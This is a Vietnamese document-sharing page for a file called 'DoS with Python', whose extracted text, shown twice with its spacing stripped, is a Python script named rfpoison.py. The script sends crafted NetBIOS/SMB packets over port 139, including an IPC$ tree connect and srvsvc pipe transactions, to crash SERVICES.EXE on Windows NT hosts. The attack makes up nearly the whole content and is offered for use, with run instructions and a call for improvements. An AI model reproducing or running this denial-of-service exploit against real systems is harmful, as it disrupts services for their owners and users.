DoS bằng Python
Số trang: 4
Loại file: doc
Dung lượng: 27.50 KB
Lượt xem: 9
Lượt tải: 0
Xem trước 2 trang đầu tiên của tài liệu này:
Thông tin tài liệu:
ChươngtrìnhDoSrấtđơngiảnbằngPython #!/usr/bin/envpython #ThisonlyseemstoworkonNT.Also,itmayhaveto #berunmultipletimes...
Nội dung trích xuất từ tài liệu:
DoS bằng PythonDoSbằngPythontrangnàyđãđượcđọc lầnChươngtrìnhDoSrấtđơngiảnbằngPython#!/usr/bin/envpython#ThisonlyseemstoworkonNT.Also,itmayhaveto#berunmultipletimes#beforeSERVICES.EXEwilldie.Improvementswelcome.#howtorun:#youshouldbecopythisfiletorfpoison.pyfile#afterthatyoucanrunrfpoison.py#pythoninterpretercandownloadfrom:#http://www.python.org/importstringimportstructfromsocketimport*importsysdefa2b(s):bytes=map(lambdax:string.atoi(x,16),string.split(s))data=string.join(map(chr,bytes),)returndatadefb2a(s):bytes=map(lambdax:%.2x%x,map(ord,s))returnstring.join(bytes,)#NBSSsessionrequestnbss_session=a2b(8100004820434b4644454e454346444546464346474546464343414341434143414341434100204548454246454546454c454645464641454646434341434143414341434141410000000000)#SMBstuffcrud=(#SMBnegprotRequestff534d4272000000000801000000000000000000000000000000f40100000100008100025043204e4554574f524b2050524f4752414d20312e3000024d4943524f534f4654204e4554574f524b5320312e303300024d4943524f534f4654204e4554574f524b5320332e3000024c414e4d414e312e3000024c4d312e3258303032000253616d626100024e54204c414e4d414e20312e3000024e54204c4d20302e313200,#SMBsessetupXRequestff534d4273000000000801000000000000000000000000000000f401000001000dff000000ffff0200f4010000000001000000000000000000000017000000574f524b47524f555000556e69780053616d626100,#SMBtconXRequestff534d4275000000000801000000000000000000000000000000f4010008010004ff000000000001001700005c5c2a534d425345525645525c495043240049504300,#SMBntcreateXrequestff534d42a2000000000801000000000000000000000000000008f4010008010018ff00000000070006000000000000009f010200000000000000000000000000030000000100000000000000020000000008005c73727673766300,#SMBtransRequestff534d4225000000000801000000000000000000000000000008f401000801001000004800000048000000000000000000000000004c0048004c0002002600000851005c504950455c00000005000b0010000000480000000100000030163016000000000100000000000100c84f324b7016d30112785a47bf6ee18803000000045d888aeb1cc9119fe808002b10486002000000,#SMBtransRequestff534d4225000000000801000000000000000000000000000008f401000801001000005800000058000000000000000000000000004c0058004c0002002600000861005c504950455c000000050000031000000058000000020000004800000000000f00010000000d000000000000000d0000005c005c002a0053004d00420053004500520056004500520000000000010000000100000000000000ffffffff00000000)crud=map(a2b,crud)defsmb_send(sock,data,type=0,flags=0):d=struct.pack(!BBH,type,flags,len(data))#printsend:,b2a(d+data)sock.send(d+data)defsmb_recv(sock):s=sock.recv(4)assert(len(s)==4)type,flags,length=struct.unpack(!BBH,s)data=sock.recv(length)assert(len(data)==length)#printrecv:,b2a(s+data)returntype,flags,datadefnbss_send(sock,data):sock.send(data)defnbss_recv(sock):s=sock.recv(4)assert(len(s)==4)returnsdefmain(host,port=139):s=socket(AF_INET,SOCK_STREAM)s.connect(host,port)nbss_send(s,nbss_session)nbss_recv(s)formsgincrud[:1]:smb_send(s,msg)smb_recv(s)smb_send(s,crud[1])#noresponsetothiss.close()if__name__==__main__:printSendingpoison...,main(sys.argv[1])printdone.
Nội dung trích xuất từ tài liệu:
DoS bằng PythonDoSbằngPythontrangnàyđãđượcđọc lầnChươngtrìnhDoSrấtđơngiảnbằngPython#!/usr/bin/envpython#ThisonlyseemstoworkonNT.Also,itmayhaveto#berunmultipletimes#beforeSERVICES.EXEwilldie.Improvementswelcome.#howtorun:#youshouldbecopythisfiletorfpoison.pyfile#afterthatyoucanrunrfpoison.py#pythoninterpretercandownloadfrom:#http://www.python.org/importstringimportstructfromsocketimport*importsysdefa2b(s):bytes=map(lambdax:string.atoi(x,16),string.split(s))data=string.join(map(chr,bytes),)returndatadefb2a(s):bytes=map(lambdax:%.2x%x,map(ord,s))returnstring.join(bytes,)#NBSSsessionrequestnbss_session=a2b(8100004820434b4644454e454346444546464346474546464343414341434143414341434100204548454246454546454c454645464641454646434341434143414341434141410000000000)#SMBstuffcrud=(#SMBnegprotRequestff534d4272000000000801000000000000000000000000000000f40100000100008100025043204e4554574f524b2050524f4752414d20312e3000024d4943524f534f4654204e4554574f524b5320312e303300024d4943524f534f4654204e4554574f524b5320332e3000024c414e4d414e312e3000024c4d312e3258303032000253616d626100024e54204c414e4d414e20312e3000024e54204c4d20302e313200,#SMBsessetupXRequestff534d4273000000000801000000000000000000000000000000f401000001000dff000000ffff0200f4010000000001000000000000000000000017000000574f524b47524f555000556e69780053616d626100,#SMBtconXRequestff534d4275000000000801000000000000000000000000000000f4010008010004ff000000000001001700005c5c2a534d425345525645525c495043240049504300,#SMBntcreateXrequestff534d42a2000000000801000000000000000000000000000008f4010008010018ff00000000070006000000000000009f010200000000000000000000000000030000000100000000000000020000000008005c73727673766300,#SMBtransRequestff534d4225000000000801000000000000000000000000000008f401000801001000004800000048000000000000000000000000004c0048004c0002002600000851005c504950455c00000005000b0010000000480000000100000030163016000000000100000000000100c84f324b7016d30112785a47bf6ee18803000000045d888aeb1cc9119fe808002b10486002000000,#SMBtransRequestff534d4225000000000801000000000000000000000000000008f401000801001000005800000058000000000000000000000000004c0058004c0002002600000861005c504950455c000000050000031000000058000000020000004800000000000f00010000000d000000000000000d0000005c005c002a0053004d00420053004500520056004500520000000000010000000100000000000000ffffffff00000000)crud=map(a2b,crud)defsmb_send(sock,data,type=0,flags=0):d=struct.pack(!BBH,type,flags,len(data))#printsend:,b2a(d+data)sock.send(d+data)defsmb_recv(sock):s=sock.recv(4)assert(len(s)==4)type,flags,length=struct.unpack(!BBH,s)data=sock.recv(length)assert(len(data)==length)#printrecv:,b2a(s+data)returntype,flags,datadefnbss_send(sock,data):sock.send(data)defnbss_recv(sock):s=sock.recv(4)assert(len(s)==4)returnsdefmain(host,port=139):s=socket(AF_INET,SOCK_STREAM)s.connect(host,port)nbss_send(s,nbss_session)nbss_recv(s)formsgincrud[:1]:smb_send(s,msg)smb_recv(s)smb_send(s,crud[1])#noresponsetothiss.close()if__name__==__main__:printSendingpoison...,main(sys.argv[1])printdone.
Tìm kiếm theo từ khóa liên quan:
cách nối mạng thủ thuật máy tính mẹo cài đặt bảo mật mạng tài liệu về DoS bằng PythonTài liệu có liên quan:
-
Top 10 mẹo 'đơn giản nhưng hữu ích' trong nhiếp ảnh
11 trang 366 0 0 -
Làm việc với Read Only Domain Controllers
20 trang 346 0 0 -
Sửa lỗi các chức năng quan trọng của Win với ReEnable 2.0 Portable Edition
5 trang 238 0 0 -
Phần III: Xử lý sự cố Màn hình xanh
3 trang 237 0 0 -
Kỹ thuật và ứng dụng của khai thác văn bản
3 trang 233 0 0 -
Tổng hợp 30 lỗi thương gặp cho những bạn mới sử dụng máy tính
9 trang 225 0 0 -
Sao lưu dữ liệu Gmail sử dụng chế độ Offline
8 trang 223 0 0 -
Giáo trình Bảo trì hệ thống và cài đặt phần mềm
68 trang 222 0 0 -
UltraISO chương trình ghi đĩa, tạo ổ đĩa ảo nhỏ gọn
10 trang 213 0 0 -
Chiêu 28: Trích xuất dữ liệu số trong 1 chuỗi bằng VBA
4 trang 212 0 0